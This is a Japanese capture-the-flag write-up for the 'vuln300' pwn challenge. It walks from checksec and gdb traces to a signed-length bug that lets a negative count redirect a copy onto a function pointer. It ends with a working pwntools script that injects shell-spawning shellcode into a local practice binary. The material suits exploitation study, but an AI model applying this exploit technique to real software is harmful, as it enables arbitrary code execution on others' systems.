pwnlist baby vuln300
下調べ
mattun-mart@4ctf:~/pwn/baby/vuln300$ file vuln300 | sed -e "s/,/\n/g" vuln300: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.18 BuildID[sha1]=4bc2aae29f861432a873713b1581ac3dbad84cae stripped
mattun-mart@4ctf:~/pwn/baby/vuln300$ checksec.sh --file vuln300 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH vuln300
NXやSSPなし.
実行ファイルはubuntu14.04 64bitで動かしてます.
解析
実行してみると,数値とメッセージの入力を促される.
それぞれ入力すると,入力した数値分のアルファベットと入力メッセージが表示されてプログラムが終了する.
mattun-mart@4ctf:~/pwn/baby/vuln300$ ./vuln300 Input Num : 5 Input Msg : hoge Reply : ABCDEhoge
入力内容を変えていろいろ遊んでいると数値に負数を入力したときにプログラムが落ちることがわかる.
mattun-mart@4ctf:~/pwn/baby/vuln300$ ./vuln300 Input Num : -5 Input Msg : aaaaa Segmentation fault
ということで,具体的にバイナリを解析していく.
デバッガ等で動作を追っていくとざっくりと以下のような流れで動作をしていることがわかった.
- 数値とメッセージの入力を受け取る
- 入力された数の絶対値分だけアスキーコードAから順に文字を生成
- 入力されたメッセージを別の領域にコピー
- 生成した文字列と入力したメッセージが連結された文字列を表示
次にプログラムが落ちた原因を探っていく.
次のコードは‐5を入力したときプログラムが落ちてしまった箇所である.
[----------------------------------registers-----------------------------------] EAX: 0x41414141 ('AAAA') EBX: 0x804a008 ("AAAAAAA\n") ECX: 0xf7d58790 (mov WORD PTR [edi],dx) EDX: 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd0f8 --> 0x0 ESP: 0xffffd0e0 --> 0x804a008 ("AAAAAAA\n") EIP: 0x804882a (mov edx,DWORD PTR [eax]) EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048820: call 0x8048840 0x8048825: mov eax,DWORD PTR [ebp-0xc] 0x8048828: mov eax,DWORD PTR [eax] => 0x804882a: mov edx,DWORD PTR [eax] 0x804882c: mov eax,DWORD PTR [ebp-0xc] 0x804882f: mov DWORD PTR [esp],eax 0x8048832: call edx 0x8048834: mov eax,0x0 [------------------------------------stack-------------------------------------] 0000| 0xffffd0e0 --> 0x804a008 ("AAAAAAA\n") 0004| 0xffffd0e4 --> 0x80491e0 ("AAAAAAAA\n") 0008| 0xffffd0e8 --> 0xfffffffb 0012| 0xffffd0ec --> 0x804a008 ("AAAAAAA\n") 0016| 0xffffd0f0 --> 0xfffffffb 0020| 0xffffd0f4 --> 0xf7e77000 --> 0x1acda8 0024| 0xffffd0f8 --> 0x0 0028| 0xffffd0fc --> 0xf7ce3af3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0804882a in ?? ()
本来EAXにcallで呼び出す関数アドレスを格納するアドレスが入っているはずのところが,‐5を入力したせいで入力したメッセージの一部(AAAA)で書き変わってしまっている.
アドレスが書き変わってしまった原因を詳しく探っていくと次のコードの部分に問題があることがわかった.
[----------------------------------registers-----------------------------------] EAX: 0x7fb EBX: 0x804a008 --> 0x8048a60 --> 0x8048924 (push ebp) ECX: 0x804a00c ("ABCDE") EDX: 0xfffffffb ESI: 0x0 EDI: 0x0 EBP: 0xffffd0d8 --> 0xffffd0f8 --> 0x0 ESP: 0xffffd0cc --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push ebp) EIP: 0x80488c4 (lea edx,[ecx+edx*1]) EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488bb: mov edx,DWORD PTR [ebp+0x8] # 関数呼び出し先のアドレスを格納するアドレスをedxに移動 0x80488be: lea ecx,[edx+0x4] # 入力した数値分のAから始まる文字が格納されたアドレスをecxに移動 0x80488c1: mov edx,DWORD PTR [ebp+0x10] # 入力した数値をedxに移動 => 0x80488c4: lea edx,[ecx+edx*1] # 入力メッセージのコピー先アドレスを計算してedxに格納 0x80488c7: mov DWORD PTR [esp+0x8],eax 0x80488cb: mov eax,DWORD PTR [ebp+0xc] 0x80488ce: mov DWORD PTR [esp+0x4],eax 0x80488d2: mov DWORD PTR [esp],edx [------------------------------------stack-------------------------------------] 0000| 0xffffd0cc --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push ebp) 0004| 0xffffd0d0 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push ebp) 0008| 0xffffd0d4 --> 0x0 0012| 0xffffd0d8 --> 0xffffd0f8 --> 0x0 0016| 0xffffd0dc --> 0x8048825 (mov eax,DWORD PTR [ebp-0xc]) 0020| 0xffffd0e0 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push ebp) 0024| 0xffffd0e4 --> 0x80491e0 ("AAAAAAAA\n") 0028| 0xffffd0e8 --> 0xfffffffb [------------------------------------------------------------------------------]
このコードはstrncpy命令を使った入力メッセージコピー処理の前準備であり,ベースとなるアドレス(ecx)に入力した数値(edx)を足したアドレスをコピー先のアドレスとして指定している.
しかしスタックの中身は次のようになっているため,入力された数値とメッセージの組み合わせによっては,後にcallで呼び出す関数のアドレスを格納しているアドレスを書き換えてしまう.
例えば,負数に‐4,メッセージにAAAAを入力すると後にcallで呼び出す関数のアドレスを格納しているアドレスを0x41414141に書き換えることができる.
Exploit
後にcallで呼び出す関数のアドレスを格納しているアドレスをメッセージの入力内容で自由に書き換えることが可能なことがわかったので,ここにシェルコードを積んでシェルを起動してあげればよさそう.
運のいいことに後にcallで呼び出す関数のアドレスを格納しているアドレスはbss領域にあり,PIEが無効になっているため,ASLRが有効でもこのアドレスは変化しない.
あとはcallの呼び出し方に注意しながらアドレスとシェルコードを積んであげればOK
ってことでExploit.
#/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct import time conn = process('./vuln300') elf = ELF('./vuln300') vtable_addr = 0x80491e0 shellcode = asm(shellcraft.sh()) input_num = "-4\n" conn.send(input_num) conn.recv() payload = p32(vtable_addr + 4) + p32(vtable_addr + 8) + shellcode payload += "\n" conn.send(payload) conn.recv() sleep(2) conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/vuln300$ python exploit.py [+] Starting local process './vuln300': pid 6387 [*] '/home/mattun-mart/pwn/baby/vuln300/vuln300' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode $ ls core dump exploit.py peda-session-vuln300.txt vuln300
内定式等の関係でまとめるのが遅くなってしまった...
一応自分用にざっくりまとめてるけど間違ってたら教えてください.